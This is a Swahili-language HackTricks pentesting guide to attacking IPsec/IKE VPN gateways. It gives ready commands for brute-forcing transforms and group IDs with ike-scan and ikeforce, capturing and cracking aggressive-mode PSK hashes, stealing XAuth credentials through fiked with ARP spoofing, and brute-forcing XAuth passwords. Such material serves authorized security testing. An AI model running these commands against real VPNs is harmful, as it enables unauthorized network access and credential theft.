500/udp - Pentesting IPsec/IKE VPN

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kikundi cha Usalama cha Kujaribu Kwa Bidii


Taarifa Msingi

IPsec inatambuliwa sana kama teknolojia kuu ya kusimamia mawasiliano kati ya mitandao (LAN-kwa-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.

Kuanzishwa kwa umoja wa usalama (SA) kati ya sehemu mbili hukamilishwa na IKE, ambayo hufanya kazi chini ya ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:

  • Hatua ya 1: Kituo salama kinajengwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Kitufe cha Awali-Kushirikiwa (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au mode ya kishupavu.

  • Hatua ya 1.5: Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji Iliyozidishwa, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.

  • Hatua ya 2: Hatua hii inajitolea kwa majadiliano ya vigezo vya kusimamia data na ESP na AH. Inaruhusu matumizi ya algoritimu tofauti na zile katika Hatua ya 1 kuhakikisha Usiri wa Mbele Kamili (PFS), kuimarisha usalama.

Bandari ya chaguo: 500/udp

Gundua huduma kwa kutumia nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Kupata ubadilishaji halali

Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. Kila ubadilishaji una sifa kadhaa kama vile DES au 3DES kama algoritimu ya kuchipua, SHA au MD5 kama algoritimu ya ukweli, funguo iliyoshirikiwa mapema kama aina ya uthibitishaji, Diffie-Hellman 1 au 2 kama algoritimu ya usambazaji wa funguo na sekunde 28800 kama maisha.

Kwa hivyo, jambo la kwanza unalopaswa kufanya ni kupata ubadilishaji halali, ili server itazungumza nawe. Ili kufanya hivyo, unaweza kutumia zana ya ike-scan. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja lenye ubadilishaji nane ndani yake.

Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa AUTH wenye thamani ya PSK. Hii inamaanisha kuwa vpn imeboreshwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta). Thamani ya mstari wa mwisho pia ni muhimu sana:

  • 0 returned handshake; 0 returned notify: Hii inamaanisha lengo si geti la IPsec.

  • 1 returned handshake; 0 returned notify: Hii inamaanisha lengo limeboreshwa kwa IPsec na liko tayari kufanya majadiliano ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika (mabadiliko halali yataonyeshwa kwenye matokeo).

  • 0 returned handshake; 1 returned notify: Geti za VPN hujibu kwa ujumbe wa arifu wakati hakuna mabadiliko yanayokubalika (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribu).

Kwa hivyo, katika kesi hii tayari tuna mabadiliko halali lakini ikiwa uko kwenye kesi ya 3, basi unahitaji kuvunja kidogo ili kupata mabadiliko halali:

Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza jaribu nguvu ile ile lakini ukitumia mode ya kushambulia:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Matarajio ya mabadiliko halali yanarudishwa. Unaweza kujaribu shambulio sawa ukitumia iker.py. Pia unaweza kujaribu kubadilisha nguvu za mabadiliko na ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Katika Kikundi cha DH: 14 = 2048-bit MODP na 15 = 3072-bit 2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa --trans ni $Enc,$Hash,$Auth,$DH

Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja encryption ya data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja codes haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyofichwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au ndogo).

Uchunguzi wa Fingerprint ya Seva

Kisha, unaweza kutumia ike-scan kujaribu kugundua muuzaji wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita chambua tofauti ya wakati kati ya ujumbe uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mpenyeji wa mtihani anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia malipo ya Kitambulisho cha Muuzaji (VID) ya hiari pamoja na IKE.

Taja uongofu halali ikihitajika (ukitumia --trans)

Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hii:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Hii inaweza pia kufanikishwa na hati ya nmap ike-version

Kupata ID sahihi (jina la kikundi)

Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Aggressive mode na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha. Kufanya hivyo, ningependekeza njia 2:

Kulazimisha ID na ike-scan

Kwanza kabisa jaribu kutuma ombi na ID bandia ukitaka kukusanya hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Ikiwa hashi haijarejeshwa, basi labda njia hii ya kujaribu nguvu itafanya kazi. Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa kitambulisho bandia, kwa hivyo njia hii haitakuwa ya kuaminika kwa kujaribu nguvu kitambulisho. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):

Lakini kama nilivyosema, ikiwa hashi haijarejeshwa, basi unapaswa kujaribu nguvu majina ya vikundi vya kawaida kwa kutumia ike-scan.

Script hii itajaribu kujaribu nguvu vitambulisho vinavyowezekana na itarejesha vitambulisho ambapo handshake halali imerejeshwa (hii itakuwa jina la kikundi halali).

Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi vizuri).

Unaweza kutumia orodha ya ikeforce au ile katika seclists ya majina ya kikundi cha kawaida kujaribu nguvu:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Kuvunja ID kwa Iker

iker.py pia hutumia ike-scan kuvunja nguvu majina ya vikundi vinavyowezekana. Inafuata njia yake ya kupata ID halali kulingana na matokeo ya ike-scan.

Kuvunja ID kwa ikeforce

ikeforce.py ni chombo kinachoweza kutumika kwa kuvunja nguvu IDs pia. Chombo hiki kitajaribu kutumia mapungufu tofauti ambayo yanaweza kutumika kutofautisha kati ya ID halali na isiyo halali (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).

Kwa chaguo-msingi ikeforce itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.

  • Njia ya kwanza ni kuvunja nguvu majina ya vikundi kwa kutafuta habari za Dead Peer Detection DPD za mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi).

  • Njia ya pili inapatikana ni kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.

  • Njia ya tatu inajumuisha kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi.

  • Hatimaye, ikiwa seva haionyeshi chochote kwa ukaguzi, ikeforce itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani. Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata PSK unapokuwa na kitambulisho halali. Kisha, ukiwa na kitambulisho na PSK utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa).

Ikiwa umegundua ubadilishaji maalum wa kuongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kuyajaribu yote hadi moja itakapofanya kazi ipasavyo).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Kunasa Kitambulisho (Sniffing ID)

(Kutoka kwenye kitabu Tathmini ya Usalama wa Mtandao: Tambua Mtandao Wako): Pia niwezekanavyo kupata majina ya watumiaji halali kwa kunasa uhusiano kati ya mteja wa VPN na seva, kwani pakiti ya mode ya kushambulia ya kwanza inayotumia kitambulisho cha mteja hutumwa wazi

Kukamata na Kuvunja Hash

Hatimaye, Ikiwa umepata ubadilishaji halali na jina la kikundi na ikiwa mode ya kushambulia inaruhusiwa, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjika:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash itahifadhiwa ndani ya hash.txt.

Unaweza kutumia psk-crack, john (ukiitumia ikescan2john.py) na hashcat kwa kuvunja hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE inayounganishwa na Pre-Shared Key (PSK) mara nyingi hutumiwa kwa madhumuni ya uthibitishaji wa kikundi. Mbinu hii inaongezewa nguvu na XAuth (Uthibitishaji Uliopanuliwa), ambao husaidia kuongeza safu ya ziada ya uthibitishaji wa mtumiaji. Uthibitishaji kama huu kawaida hutegemea huduma kama Microsoft Active Directory, RADIUS, au mifumo inayofanana.

Kuongezeka kwa IKEv2, mabadiliko muhimu yanazingatiwa ambapo EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa) hutumiwa badala ya XAuth kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.

MitM ya mtandao wa ndani kwa ajili ya kukamata siri za kuingia

Hivyo unaweza kukamata data ya kuingia kwa kutumia fiked na kuona kama kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa fiked kwa ajili ya kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, maelezo zaidi). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Kujaribu kuvunja jina la mtumiaji na nenosiri la XAUTH kwa kutumia ikeforce

Kutumia XAUTH (unapojua jina la kikundi cha id halali na psk), unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila kombinisheni ya jina la mtumiaji: nenosiri.

Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua za awali.

Uthibitisho kwa kutumia VPN ya IPSEC

Katika Kali, VPNC hutumiwa kuanzisha mizunguko ya IPsec. Profaili lazima zipatikane katika saraka /etc/vpnc/. Unaweza kuanzisha profaili hizi kwa kutumia amri vpnc.

Amri na mipangilio ifuatayo inaeleza mchakato wa kuweka uhusiano wa VPN na VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Katika usanidi huu:

  • Badilisha [VPN_GATEWAY_IP] na anwani halisi ya IP ya lango la VPN.

  • Badilisha [VPN_CONNECTION_ID] na kitambulisho cha uhusiano wa VPN.

  • Badilisha [VPN_GROUP_SECRET] na siri ya kikundi cha VPN.

  • Badilisha [VPN_USERNAME] na [VPN_PASSWORD] na sifa za uthibitishaji wa VPN.

  • [PID] inamaanisha kitambulisho cha mchakato ambacho kitapewa wakati vpnc inaanzisha.

Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati wa kusanidi VPN.

Vifaa vya Marejeleo

Shodan

  • bandari:500 IKE

Kikundi cha Usalama cha Kujaribu Kwa Bidii

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated